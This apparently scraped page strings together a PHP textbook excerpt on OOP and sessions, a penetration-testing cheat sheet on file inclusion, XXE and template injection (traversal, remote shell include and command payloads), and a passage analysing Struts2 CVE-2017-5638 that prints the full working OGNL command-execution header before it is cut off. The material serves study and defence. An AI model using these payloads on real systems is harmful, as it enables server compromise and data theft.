在上述例子中，我们演示了一个“散列数组列表”的使用方法，实际上这种数据结构经常出现在我们从数据库中取出数据然后展现到页面表格中去的情况。除此之外，从本例中我们还可以学到如何在PHP中嵌入HTML标签，当然这已经是一种最古老的使用方法了，在实际项目中我们经常使用一些其他的模板引擎来负责展示部分，比如Smarty模板引擎（我们将在3.5节中介绍）。最后我们来看一下本例在浏览器中的运行效果，如图3-6所示。通过以上的介绍和实例学习，相信大家对PHP的数组已经有了一定的了解，这种融合了列表、散列、栈等多种常用数据结构的“超级工具”可以说是PHP的一大发明；当然，PHP数组的用法绝不仅仅只有以上这些，通过日后继续深入学习，我相信你会越来越喜欢这个“编程利器”的。 3.1.4　PHP面向对象编程 虽然之前我们已经学习了PHP语言的开发基础，但是应用这些知识来开发项目还远远不够，因为我们在实际的项目中都需要使用“面向对象”的写法来进行编程，如果只懂得基本语法却没有面向对象的编程思想是万万不行的。所以接下来我们将为大家介绍在PHP语言中，我们是如何使用面向对象的编程思路来进行开发的。其实PHP语言的面向对象编程思路和Java非常相似，对象（Object）、类（Class）、抽象类（Abstract Class）、接口（Interface）以及MVC三层封装的用法都大同小异，由于篇幅限制，相同的地方将不再赘述，这里主要给大家介绍一下不同的地方，下面我们将结合面向对象编程思想中的几个重要概念来分析一下。 抽象性要认识面向对象的思想，首先需要理解什么是对象。对象是面向对象编程的基本元素，对象可以是我们需要研究的任何元素，可以是具体的物品，也可以是抽象的事物。比如我们在研发一个后台管理系统时，管理员是一个对象，后台权限也是一个对象。这就是抽象的基本思路，就这点来说，不管我们使用的是什么语言，思考方式应该是一样的。 此外，对象在程序代码中是用“类”（Class）来表示的，每个类都需要具备“唯一性”的特征，在大部分语言中都使用“命名空间”来解决这个问题；然而对于PHP来说，我们通常使用一种“约定”或者“规范”来解决这个问题，比如在PHP的一些大型类库（如Zend Framework）中我们通常把类名和目录名对应起来，Zend/Db/Exception.php文件的类名是Zend_Db_Exception，这种方式在项目中还是比较实用的。 继承性继承性是面向对象思想中最基础、最重要的特点之一，也正是因为对象的继承性才延伸出了“抽象”和“封装”等面向对象的设计方法。在PHP语言中我们同样使用私有（private）、保护（protected）和公共（public）关键字来设定类、属性和方法的权限，关于这些基础概念的基本用法大家可以到网上收罗到一大堆，这里不再赘述。下面我们将以一个PHP代码为例给大家讲解一下使用要领，见代码清单3-8。 代码清单　3-8 // 基础抽象类 abstract class Base_Customer { // 私有属性 private $_name = ''; // 私有方法 private function _checkName ($name) { return is_string($name) ? $name : false; } // 保护方法 protected function _formatName ($name) { return (string) $name; } // 公用方法 public function setName ($name) { $this->_name = $this->_formatName($name); } // 公用方法 public function getName () { return $this->_checkName($this->_name); } // 抽象方法，子类需要实现 abstract public function setPassword(); // 抽象方法，子类需要实现 abstract public function getPassword(); } 上述实例代码中我们定义了一个名为Base_Customer的用户抽象基类，里面有一个名为“$_name”的私有属性，表示用户的名字；为了让外部能够访问这个属性，我们添加了读取名字getName和设置名字setName两个public方法，供外部程序调用。另外，此类还有一个private方法_checkName用于确认用户名字是否有误，一个protected方法_formatName用于保证名字正确性。在代码的最后我们还定义了两个抽象方法，设置密码setPassword和取得密码getPassword两个方法，用于对用户的密码进行操作，这两个方法都需要在子类中实现的。从以上代码中我们可以看到PHP语言里大部分面向对象编程的写法，大家可以好好理解一下。 多态性多态性是指相同的操作或函数、过程可作用于多种类型的对象上并获得不同的结果，这个特性进一步增加了面向对象编程思想的灵活性和重用性。我们知道，重载是实现多态性最常见的方法，比如下面就是使用Java语言来使用重载的实例代码，见代码清单3-9。 代码清单　3-9 class Demo{ // 成员变量 int a, b, c; // 构造函数 public Demo() {} // 重载构造函数 public Demo(int a, int b, int c) { this.a = a; this.b = b; this.c = c; } // 成员方法 int sum() { return a + b + c; } // 重载成员方法 int sum(int d) { return a + b + c + d; } } 我们看到上面用Java语言实现的Demo类中，构造方法Demo被定义了两次，根据传入参数的不同，方法逻辑也有所不同；另外，类中的成员方法sum也被定义了两次，同样可以根据不同的参数来处理不同的逻辑。但是这是Java的做法，在PHP中我们也可以这样做吗？答案是否定的，因为PHP语言不允许出现相同名称的方法，即使在同一个类中。那么我们应该怎么做呢？看看代码清单3-10中是怎么写的吧。代码清单　3-10 class Demo { // 成员变量 public $a, $b, $c; // 构造方法 public function Demo ($a = 0, $b = 0, $c = 0) { if ($a) $this->a = $a; if ($b) $this->b = $b; if ($c) $this->c = $c; } // 成员方法 public function sum ($d = 0) { if ($d) { 　return $this->a + $this->b + $this->c + $d; } else { return $this->a + $this->b + $this->c; } } } 我们可以看到，以上的PHP代码同样实现了一个Demo类，此类含有和前面Java版的Demo类同样的成员变量，却只有一个构造方法Demo和成员方法sum；但是有趣的是，通过对这两个方法的逻辑分析，我们会发现这里同样根据参数的不同实现了不同的逻辑。这是为什么呢？答案其实很简单，就是因为PHP允许设置参数的默认值。这种PHP特有的功能帮助我们用另外一种方式实现了多态性。以上我们介绍的PHP面向对象编程的基础知识，需要大家好好理解一下，因为在后面我们即将给大家介绍的微博应用实例中，这些用法将会被广泛使用；另外，在本章最后介绍的Hush Framework框架中我们也会接触到这些用法。当然，培养成熟的面向对象的编程思想绝不是一朝一夕的事情，需要大家在学习的时候边实践边思考，最好能阅读一些比较优秀的代码，当然本书后面将要给大家介绍的微博项目实例代码也是个很不错的面向对象编程的代码范本，如果大家能通过本书将其理解透彻，绝对会受益匪浅。 3.1.5　PHP的会话 业内常说“不理解会话（Session）的概念就等于不懂得PHP网络编程”。当然，这里讲的是PHP语言用于互联网编程的时候。因为HTTP协议是无状态的，所以每次请求结束后，变量和资源就被回收了，那么我们如何保存一些“持久”的信息呢？比如在用户登录之后，系统需要把用户登录的信息保存下来，在整个应用或者站点里面使用。也许你会想到使用数据库来保存，当然这确实是一种解决方案，但是这些数据大部分属于临时数据，用户退出登录之后就没有用了，如果使用数据库不仅浪费资源，而且还需要定期清理，相当麻烦。为了解决这个问题，PHP专门为我们提供了会话模块，来保存这些临时的用户数据。和大部分的语言环境一样，PHP的Session机制不是非常复杂，客户端只需要保存一个会话ID，即Session ID，每次会话请求都会把这个Session ID传给服务端，并获取服务端接口处理完的数据，整个过程如图3-7所示。 PHP默认的会话存储方式是文件存储，数据会被保存到服务器本地的session.save_path参数设定的目录中（此参数位于php.ini配置文件）。使用的时候，首先需要调用session_start方法开启一个新的Session，然后直接使用PHP预定义变量$_SESSION来进行读取和存储操作，在请求结束时系统会把修改过的会话值保存到存储器中。示例用法如代码清单3-11所示。小贴士：php.ini是PHP的环境配置文件，在Linux系统下一般会被放在/etc/php.ini目录下。该文件几乎包含了PHP运行环境所需的所有配置，也是我们必须学习的内容之一，由于篇幅原因，本书不做详细讲解。具体配置参数可直接参考官方文档，地址如下http://cn.php.net/manual/zh/ini.list.php。代码清单　3-11 <?php session_start(); // 初始化计数器变量 $count $count = isset($_SESSION['count']) ? $_SESSION['count'] : 0; // 计数器依次递增 $_SESSION['count'] = ++$count; // 打印计数器值 echo $count; 前面的会话实例实现了一个简单的计数器，逻辑很简单，大家参照着注释就可以很快读懂。这里需要注意的是，Session机制仅适用于有服务器的网络环境中，在以命令行（CLI）脚本运行的情况下是不起作用的。另外，我们可以看到该计数器程序的有效代码只有4行，这也从一个侧面反映了PHP语言的简单高效。当然我们这里讨论的仅仅是比较简单的Session使用场景，对于相对比较大型一点的网络应用来说，Session的使用就不是这么简单了。比如我们要在多台应用服务器之间共享Session，那就不能把Session信息存放在本地了，这时候我们可能需要把Session集中存储在某个公用的中间件里，比如数据库或者缓存服务器等。好在PHP给我们提供了Session回调接口来帮助我们控制Session的存储方式，实例代码请参考代码清单3-12。代码清单　3-12 <?php class SessionHandler { protected $savePath; protected $sessionName; public function __construct() { session_set_save_handler( array($this, "open"), array($this, "close"), array($this, "read"), array($this, "write"), array($this, "destroy"), array($this, "gc") ); } public function open($savePath, $sessionName) { $this->savePath = $savePath; $this->sessionName = $sessionName; return true; } public function close() { // 关闭 Session 逻辑 return true; } public function read($id) { // 读取 Session 逻辑 } public function write($id, $data) { // 存储 Session 逻辑 } public function destroy($id) { // 销毁 Session 逻辑 } public function gc($maxlifetime) { // 回收 Session 逻辑 } } // 使用 Session 类 new SessionHandler(); 上述实例中，我们使用session_set_save_handler方法重写了PHP的Session机制，通过这种方式我们可以很方便地控制Session的存取逻辑来满足我们的需求；此外，这也是我们优化Session机制时必须使用的知识，这些进阶知识我们会在本书的9.1.2节中给大家做进一步的介绍。
文章
JavaScript · Java · PHP · Android开发 · C++
2017-08-01
网站安全渗透测试 文件包含注入检测办法
昨天给大家普及到了渗透测试中执行命令漏洞的检测方法,今天抽出时间由我们Sine安全的渗透工程师来讲下遇到文件包含漏洞以及模板注入漏洞的检测方法和防御手段,本文仅参考给有授权渗透测试的正规安全检测的客户,让更多的客户了解到具体测试的内容,是如何进行全面的网站安全测试。3.8. 文件包含 3.8.1. 基础 常见的文件包含漏洞的形式为 <?php include("inc/" . $_GET['file']); ?> 考虑常用的几种包含方式为 同目录包含 file=.htaccess目录遍历 ?file=../../../../../../../../../var/lib/locate.db日志注入 ?file=../../../../../../../../../var/log/apache/error.log利用 /proc/self/environ其中日志可以使用SSH日志或者Web日志等多种日志来源测试 3.8.2. 绕过技巧 常见的应用在文件包含之前，可能会调用函数对其进行判断，一般有如下几种绕过方式 3.8.2.1. url编码绕过 如果WAF中是字符串匹配，可以使用url多次编码的方式可以绕过 3.8.2.2. 特殊字符绕过 某些情况下，读文件支持使用Shell通配符，如 ? * 等url中 使用 ? # 可能会影响include包含的结果某些情况下，unicode编码不同但是字形相近的字符有同一个效果3.8.2.3. %00截断 几乎是最常用的方法，条件是magic_quotes_gpc打开，而且php版本小于5.3.4。 3.8.2.4. 长度截断 Windows上的文件名长度和文件路径有关。具体关系为：从根目录计算，文件路径长度最长为259个bytes。 msdn定义“#define MAX_PATH 260“，第260个字符为字符串结尾的“0“ linux可以用getconf来判断文件名长度限制和文件路径长度限制 获取最长文件路径长度：getconf PATH_MAX /root 得到4096 获取最长文件名：getconf NAME_MAX /root 得到255 那么在长度有限的时候，././././ (n个) 的形式就可以通过这个把路径爆掉 在php代码包含中，这种绕过方式要求php版本 < php 5.2.8 3.8.2.5. 伪协议绕过 远程包含: 要求 allow_url_fopen=On and allow_url_include=On ， payload为 ?file=[http|https|ftp]://域名/shell.txt PHP INPUT: 把payload放在POST参数中作为包含的文件，要求 allow_url_include=On ，payload为 ?file=php://input: 使用伪协议读取文件，payload为 ?file=php://filter/convert.-encode/resource=index.phpDATA: 使用data伪协议读取文件，payload为 ?file=data://text/plain;,SSBsb3ZlIFBIUAo= 要求 allow_url_include=On3.9. XXE 3.9.1. XML基础 XML 指可扩展标记语言（eXtensible Markup Language），是一种用于标记电子文件使其具有结构性的标记语言，被设计用来传输和存储数据。XML文档结构包括XML声明、DTD文档类型定义（可选）、文档元素。目前，XML文件作为配置文件（Spring、Struts2等）、文档结构说明文件（PDF、RSS等）、图片格式文件（SVG header）应用比较广泛。 3.9.2. XXE 当允许引用外部实体时，可通过构造恶意的XML内容，导致读取任意文件、执行系统命令、探测内网端口、攻击内网网站等后果。一般的XXE攻击，只有在服务器有回显或者报错的基础上才能使用XXE漏洞来读取服务器端文件，但是也可以通过Blind XXE的方式实现攻击。 3.9.3. 攻击方式 3.9.3.1. 拒绝服务攻击 ]> &a2; 若解析过程非常缓慢，则表示测试成功，目标站点可能有拒绝服务漏洞。具体攻击可使用更多层的迭代或递归，也可引用巨大的外部实体，以实现攻击的效果。 3.9.3.2. 文件读取 <?xml version="1.0"?> ]> &file; 3.9.3.3. SSRF <?xml version="1.0"?> ]> 4 3.9.3.4. RCE <?xml version="1.0"?> ]> &xxe; 3.9.3.5. XInclude <?xml version='1.0'?> 3.10 模板注入漏洞 3.10. 模版注入 3.10.1. 简介 模板引擎用于使用动态数据呈现内容。此上下文数据通常由用户控制并由模板进行格式化，以生成网页、电子邮件等。模板引擎通过使用代码构造（如条件语句、循环等）处理上下文数据，允许在模板中使用强大的语言表达式，以呈现动态内容。如果攻击者能够控制要呈现的模板，则他们将能够注入可暴露上下文数据，甚至在服务器上运行任意命令的表达式。 3.10.2. 测试方法 确定使用的引擎查看引擎相关的文档，确定其安全机制以及自带的函数和变量需找攻击面，尝试攻击3.10.3. 测试用例 简单的数学表达式，{{ 7+7 }} => 14字符串表达式 {{ "ajin" }} => ajinRuby<%= 7 * 7 %><%= File.open('/etc/passwd').read %>Java${7*7}Twig{{7*7}}Smarty{php}echo id;{/php}AngularJS$eval('1+1')Tornado引用模块 {% import module %}=> {% import os %}{{ os.popen("whoami").read() }}Flask/Jinja2{{ config.items() }}{{''.__class__.__mro__[-1].__subclasses__()}}Django{{ request }}{% debug %}{% load module %}{% include "x.html" %}{% extends "x.html" %}3.10.4. 目标 创建对象文件读写远程文件包含信息泄漏 提权3.10.5. 相关属性 3.10.5.1. class python中的新式类（即显示继承object对象的类）都有一个属性 class 用于获取当前实例对应的类，例如 "".__class__ 就可以获取到字符串实例对应的类 3.10.5.2. mro python中类对象的 mro 属性会返回一个tuple对象，其中包含了当前类对象所有继承的基类，tuple中元素的顺序是MRO（Method Resolution Order） 寻找的顺序。 3.10.5.3. globals 保存了函数所有的所有全局变量，在利用中，可以使用 init 获取对象的函数，并通过 globals 获取 file os 等模块以进行下一步的利用 3.10.5.4. __subclasses__() python的新式类都保留了它所有的子类的引用，__subclasses__() 这个方法返回了类的所有存活的子类的引用（是类对象引用，不是实例）。 因为python中的类都是继承object的，所以只要调用object类对象的 __subclasses__() 方法就可以获取想要的类的对象。这一节渗透测试讲到的这些内容和绕过手法,如果对自己网站不太放心的话可以找专业的网站安全公司来处理解决,国内做的比较好的如Sinesafe,绿盟,启明星辰等等。
文章
XML · 安全 · 网络安全 · PHP · 数据格式 · Python · 测试技术 · Java · Windows · Spring
2019-10-11
深度剖析Struts2远程代码执行漏洞
本文讲的是深度剖析Struts2远程代码执行漏洞， 三月初，安全研究人员发现世界上最流行的JavaWeb服务器框架之一– Apache Struts2存在远程代码执行的漏洞，Struts2官方已经确认该漏洞（S2-046，CVE编号为：CVE-2017-5638）风险等级为高危漏洞。 漏洞描述 该漏洞是由于上传功能的异常处理函数没有正确处理用户输入的错误信息，导致远程攻击者可通过修改HTTP请求头中的Content-Type值，构造发送恶意的数据包，利用该漏洞进而在受影响服务器上执行任意系统命令。  漏洞利用条件和方式 黑客通过Jakarta 文件上传插件实现远程利用该漏洞执行代码。 漏洞影响范围 Struts 2.3.5 - Struts 2.3.31 Struts 2.5 - Struts 2.5.10 建议大家尽快升级到 Apache Struts 2.3.32 or 2.5.10.1  近日，我们对这个漏洞的执行代码进行了详细的分析，并对野外利用中的有效载荷进行了跟踪研究。除此之外，我们还提供了CVE-2017-5638运行的有效载荷，这是一个可以绕过只能检查请求内容类型的Web应用程序防火墙规则的备用漏洞利用向量。 对于不熟悉SSTI（服务端模板注入）概念的人员来说，这是一个注入攻击的典型例子。从模板引擎的原理可知，哪方实现的模板引擎，就依赖哪方。在server端实现模板引擎时，依赖server端。在客户端实现依赖客户端。 所以，只要在客户端实现一种模板解析方式（引擎），用来读取模板内容，分析并转为客户端可执行的程序源码，并运行，就可以脱离服务端，在浏览器端渲染页面，而不依赖服务端，这样的结果通常是模板引擎会允许任何形式的代码执行。对于许多流行的模板引擎，例如Freemarker，Smarty，Velocity，Jade等，通常可以在引擎之外执行远程代码执行（即产生系统shell）。在Struts的案例中，模板引擎就是使用诸如对象图导航语言（OGNL）的表达式语言来提供简单的模板功能。与OGNL的方法类似，模板引擎通常也可以在表达式语言之外获得远程代码执行。这些代码库提供了帮助缓解远程执行代码（如沙盒）的机制，但是默认情况下它们往往被禁用，或者简单地绕过。 从代码的角度来看，SSTI存在于应用程序中的最简单的条件是将用户输入传递到解析模板代码的函数中。将函数句柄值丢失是将各种注入漏洞引入到应用程序中的一种简单方法。要发现这样的漏洞，必须仔细追踪和分析调用堆栈和任何被感染的数据流。 这样才能充分了解CVE-2017-5638的工作原理，不过要真正了解漏洞的工作原理，我们还需要对库中的相关代码进行全面的分析。 我们通过捕获和记录CVE-2017-5638在运行时的异常代码进程，倒推出了次漏洞的工作原理。正如我们在下面的恶意代码再现中看到的那样，漏洞可以导致远程代码执行，在Apache公共上传库中parseRequest(request)解析出现异常，这是因为请求的内容类型与预期的有效字符串不匹配。我们还注意到，这个上传库引发的异常消息还包括HTTP请求中提供的无效内容类型头。这实际上是用用户输入来描述异常消息。 用户输入要求： POST /struts2-showcase/fileupload/doUpload.action HTTP/1.1 Host: localhost:8080 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:52.0) Gecko/20100101 Firefox/52.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: ${(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())} Content-Length: 0 用户输入反应： HTTP/1.1 200 OK Set-Cookie: JSESSIONID=16cuhw2qmanji1axbayhcp10kn;Path=/struts2-showcase Expires: Thu, 01 Jan 1970 00:00:00 GMT Server: Jetty(8.1.16.v20140903) Content-Length: 11 testwebuser 用户登录异常： 2017-03-24 13:44:39,625 WARN  [qtp373485230-21] multipart.JakartaMultiPartRequest (JakartaMultiPartRequest.java:69) - Request exceeded size limit! org.apache.commons.fileupload.FileUploadBase$InvalidContentTypeException: the request doesn't contain a multipart/form-data or multipart/mixed stream, content type header is ${(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())} at org.apache.commons.fileupload.FileUploadBase$FileItemIteratorImpl.(FileUploadBase.java:948) ~[commons-fileupload-1.3.2.jar:1.3.2] at org.apache.commons.fileupload.FileUploadBase.getItemIterator(FileUploadBase.java:310) ~[commons-fileupload-1.3.2.jar:1.3.2] at org.apache.commons.fileupload.FileUploadBase.parseRequest(FileUploadBase.java:334) ~[commons-fileupload-1.3.2.jar:1.3.2] at org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest.parseRequest(JakartaMultiPartRequest.java:147) ~[struts2-core-2.5.10.jar:2.5.10] at org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest.processUpload(JakartaMultiPartRequest.java:91) ~[struts2-core-2.5.10.jar:2.5.10] at org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest.parse(JakartaMultiPartRequest.java:67) [struts2-core-2.5.10.jar:2.5.10] at org.apache.struts2.dispatcher.multipart.MultiPartRequestWrapper.(MultiPartRequestWrapper.java:86) [struts2-core-2.5.10.jar:2.5.10] at org.apache.struts2.dispatcher.Dispatcher.wrapRequest(Dispatcher.java:806) [struts2-core-2.5.10.jar:2.5.10] [..snip..] 负责调用生成异常的parseRequest方法的调用者在一个名为JakartaMultiPartRequest的类中，JakartaMultiPartRequest作为围绕Apache commons fileupload库的包装器，定义了一个名为processUpload的方法，如下图所示，该方法在第91行调用了自己的parseRequest方法。该方法在第151行创建一个新的ServletFileUpload对象，并在第147行调用其parseRequest方法： core/src/main/java/org/apache/struts2/dispatcher/multipart/JakartaMultiPartRequest.java:90:     protected void processUpload(HttpServletRequest request, String saveDir) throws FileUploadException, UnsupportedEncodingException {91:         for (FileItem item : parseRequest(request, saveDir)) {92:             LOG.debug("Found file item: [{}]", item.getFieldName());93:             if (item.isFormField()) {94:                 processNormalFormField(item, request.getCharacterEncoding());95:             } else {96:                 processFileField(item);97:             }98:         }99:     }[..snip..]144:     protected List<FileItem> parseRequest(HttpServletRequest servletRequest, String saveDir) throws FileUploadException {145:         DiskFileItemFactory fac = createDiskFileItemFactory(saveDir);146:         ServletFileUpload upload = createServletFileUpload(fac);147:         return upload.parseRequest(createRequestContext(servletRequest));148:     }149: 150:     protected ServletFileUpload createServletFileUpload(DiskFileItemFactory fac) {151:         ServletFileUpload upload = new ServletFileUpload(fac);152:         upload.setSizeMax(maxSize);153:         return upload;154:     } 查看 Stacktrace（堆栈轨迹），Stacktrace是一个非常有用的调试工具. 在未捕获的异常被抛出时（或者手动制造堆栈跟踪的时候），它会让我们看到调到的堆（在某一点调用方法的堆)。不仅显示出出现错误的地方，也显出程序在那个地方是如何结束的。我们可以看到processUpload方法由JakartaMultiPartRequest在第67行的解析方法调用。如下图所示，调用此方法的任何抛出的异常都在第68行被捕获，并传递给buildErrorMessage。虽然根据引发的异常的类调用processUpload方法可以有多个选择，但最终都要调用buildErrorMessage方法。在这种情况下，第75行调用buildErrorMessage方法： core/src/main/java/org/apache/struts2/dispatcher/multipart/JakartaMultiPartRequest.java:64:     public void parse(HttpServletRequest request, String saveDir) throws IOException {65:         try {66:             setLocale(request);67:             processUpload(request, saveDir);68:         } catch (FileUploadException e) {69:             LOG.warn("Request exceeded size limit!", e);70:             LocalizedMessage errorMessage;71:             if(e instanceof FileUploadBase.SizeLimitExceededException) {72:                 FileUploadBase.SizeLimitExceededException ex = (FileUploadBase.SizeLimitExceededException) e;73:                 errorMessage = buildErrorMessage(e, new Object[]{ex.getPermittedSize(), ex.getActualSize()});74:             } else {75:                 errorMessage = buildErrorMessage(e, new Object[]{});76:             }77:78:             if (!errors.contains(errorMessage)) {79:              errors.add(errorMessage);80:             }81:         } catch (Exception e) {82:             LOG.warn("Unable to parse request", e);83:             LocalizedMessage errorMessage = buildErrorMessage(e, new Object[]{});84:             if (!errors.contains(errorMessage)) {85:                 errors.add(errorMessage);86:             }87:         }88:     } 由于JakartaMultiPartRequest类没有定义buildErrorMessage方法，所以我们要查看它扩展的类：AbstractMultiPartRequest： core/src/main/java/org/apache/struts2/dispatcher/multipart/AbstractMultiPartRequest.java:98:      protected LocalizedMessage buildErrorMessage(Throwable e, Object[] args) {99:       String errorKey = "struts.messages.upload.error." + e.getClass().getSimpleName();100:      LOG.debug("Preparing error message for key: [{}]", errorKey);101:  102:      return new LocalizedMessage(this.getClass(), errorKey, e.getMessage(), args);103:     } 它返回的LocalizedMessage定义了一个简单的类似容器的对象，其中textKey设置为struts.messages.upload.error.InvalidContentTypeException，defaultMessage被设置为用户输入感染的异常消息。 接下来在stacktrace中，我们可以看到JakartaMultiPartRequest的解析方法在第86行的MultiPartRequestWrapper的构造方法中被调用，在第88行调用的addError方法会检查是否已经看到错误，如果不是，它会将它添加到一个包含LocalizedMessage对象集合的实例变量中： core/src/main/java/org/apache/struts2/dispatcher/multipart/MultiPartRequestWrapper.java:77:     public MultiPartRequestWrapper(MultiPartRequest multiPartRequest, HttpServletRequest request,78:                                    String saveDir, LocaleProvider provider,79:                                    boolean disableRequestAttributeValueStackLookup) {80:         super(request, disableRequestAttributeValueStackLookup);[..snip..]85:         try {86:             multi.parse(request, saveDir);87:             for (LocalizedMessage error : multi.getErrors()) {88:                 addError(error);89:             } 在我们对堆栈进行轨迹跟踪的下一行，我们看到Dispatcher类负责实例化一个新的MultiPartRequestWrapper对象并调用上面的构造方法。这里调用的方法叫做wrapRequest，它负责检测请求的内容类型是否包含第801行的子串“multipart / form-data”，如果包含，则在第804行创建一个新的MultiPartRequestWrapper并返回： core/src/main/java/org/apache/struts2/dispatcher/Dispatcher.java:794:     public HttpServletRequest wrapRequest(HttpServletRequest request) throws IOException {795:         // don't wrap more than once796:         if (request instanceof StrutsRequestWrapper) {797:             return request;798:         }799:800:         String content_type = request.getContentType();801:         if (content_type != null && content_type.contains("multipart/form-data")) {802:             MultiPartRequest mpr = getMultiPartRequest();803:             LocaleProvider provider = getContainer().getInstance(LocaleProvider.class);804:             request = new MultiPartRequestWrapper(mpr, request, getSaveDir(), provider, disableRequestAttributeValueStackLookup);805:         } else {806:             request = new StrutsRequestWrapper(request, disableRequestAttributeValueStackLookup);807:         }808:809:         return request;810:     } 在我们分析的这个样本时，它的HTTP请求已被解析，我们的包裹请求对象（MultiPartRequestWrapper）持有一个错误（LocalizedMessage）和我们的默认消息，而一个textKey设置为struts.messages.upload.error.InvalidContentTypeException。 虽然堆栈轨迹的其余部分不能为我们继续跟踪数据流提供任何非常有用的帮助，但是，我们从中发现了一个线索， Struts通过一系列拦截器处理请求。事实证明，名为FileUploadInterceptor的拦截器是Struts配置的默认“堆栈”的一部分。 正如我们在第242行看到的，拦截器会检查我们的请求对象是否是MultiPartRequestWrapper类的实例。我们知道这是因为Dispatcher以前返回了这个类的一个实例，拦截器会继续检查MultiPartRequestWrapper对象是否在第261行出现错误。然后它在第264行调用LocalizedTextUtil的findText方法，传递几个参数，例如错误的textKey和我们的默认的defaultMessage： core/src/main/java/org/apache/struts2/interceptor/FileUploadInterceptor.java:237:     public String intercept(ActionInvocation invocation) throws Exception {238:         ActionContext ac = invocation.getInvocationContext();239:240:         HttpServletRequest request = (HttpServletRequest) ac.get(ServletActionContext.HTTP_REQUEST);241:242:         if (!(request instanceof MultiPartRequestWrapper)) {243:             if (LOG.isDebugEnabled()) {244:                 ActionProxy proxy = invocation.getProxy();245:                 LOG.debug(getTextMessage("struts.messages.bypass.request", new String[]{proxy.getNamespace(), proxy.getActionName()}));246:             }247:248:             return invocation.invoke();249:         }250:[..snip..]259:         MultiPartRequestWrapper multiWrapper = (MultiPartRequestWrapper) request;260:261:         if (multiWrapper.hasErrors()) {262:             for (LocalizedMessage error : multiWrapper.getErrors()) {263:                 if (validation != null) {264:                     validation.addActionError(LocalizedTextUtil.findText(error.getClazz(), error.getTextKey(), ActionContext.getContext().getLocale(), error.getDefaultMessage(), error.getArgs()));265:                 }266:             }267:         } LocalizedTextUtil的方法findText的一个版本被调用，它试图根据以下6个因素找到一个返回的错误信息： aClassName设置为AbstractMultiPartRequest aTextName设置为错误的textKey，这是struts.messages.upload.error.InvalidContentTypeException。 区域设置设置为ActionContext的区域设置。 defaultMessage是我们作为字符串感染的异常消息。 Args是一个空数组。 valueStack设置为ActionContext的valueStack： 397:     /**398:      * <p>399:      * Finds a localized text message for the given key, aTextName. Both the key and the message400:      * itself is evaluated as required.  The following algorithm is used to find the requested401:      * message:402:      * </p>403:      *404:      * <ol>405:      * <li>Look for message in aClass' class hierarchy.406:      * <ol>407:      * <li>Look for the message in a resource bundle for aClass</li>408:      * <li>If not found, look for the message in a resource bundle for any implemented interface</li>409:      * <li>If not found, traverse up the Class' hierarchy and repeat from the first sub-step</li>410:      * </ol></li>411:      * <li>If not found and aClass is a {@link ModelDriven} Action, then look for message in412:      * the model's class hierarchy (repeat sub-steps listed above).</li>413:      * <li>If not found, look for message in child property.  This is determined by evaluating414:      * the message key as an OGNL expression.  For example, if the key is415:      * <i>user.address.state</i>, then it will attempt to see if "user" can be resolved into an416:      * object.  If so, repeat the entire process fromthe beginning with the object's class as417:      * aClass and "address.state" as the message key.</li>418:      * <li>If not found, look for the message in aClass' package hierarchy.</li>419:      * <li>If still not found, look for the message in the default resource bundles.</li>420:      * <li>Return defaultMessage</li>421:      * </ol> 因为未找到资源束定义struts.messages.upload.error.InvalidContentTypeException的错误消息，所以此过程最终将调用第573行上的getDefaultMessage方法： core/src/main/java/com/opensymphony/xwork2/util/LocalizedTextUtil.java:570:         // get default571:         GetDefaultMessageReturnArg result;572:         if (indexedTextName == null) {573:             result = getDefaultMessage(aTextName, locale, valueStack, args, defaultMessage);574:         } else {575:             result = getDefaultMessage(aTextName, locale, valueStack, args, null);576:             if (result != null && result.message != null) {577:                 return result.message;578:             }579:             result = getDefaultMessage(indexedTextName, locale, valueStack, args, defaultMessage);580:         } 同一个类中的getDefaultMessage方法负责最后一次尝试找到一个给定密钥和语言环境的错误消息。在我们的尝试过程中，getDefaultMessage方法尝试失败，并利用我们的异常消息，在第729行调用TextParseUtil的translateVariables方法： core/src/main/java/com/opensymphony/xwork2/util/LocalizedTextUtil.java:714:     private static GetDefaultMessageReturnArg getDefaultMessage(String key, Locale locale, ValueStack valueStack, Object[] args,715:                                                                 String defaultMessage) {716:         GetDefaultMessageReturnArg result = null;717:         boolean found = true;718:719:         if (key != null) {720:             String message = findDefaultText(key, locale);721:722:             if (message == null) {723:                 message = defaultMessage;724:                 found = false; // not found in bundles725:             }726:727:             // defaultMessage may be null728:             if (message != null) {729:                 MessageFormat mf = buildMessageFormat(TextParseUtil.translateVariables(message, valueStack), locale);730:731:                 String msg = formatWithNullDetection(mf, args);732:                 result = new 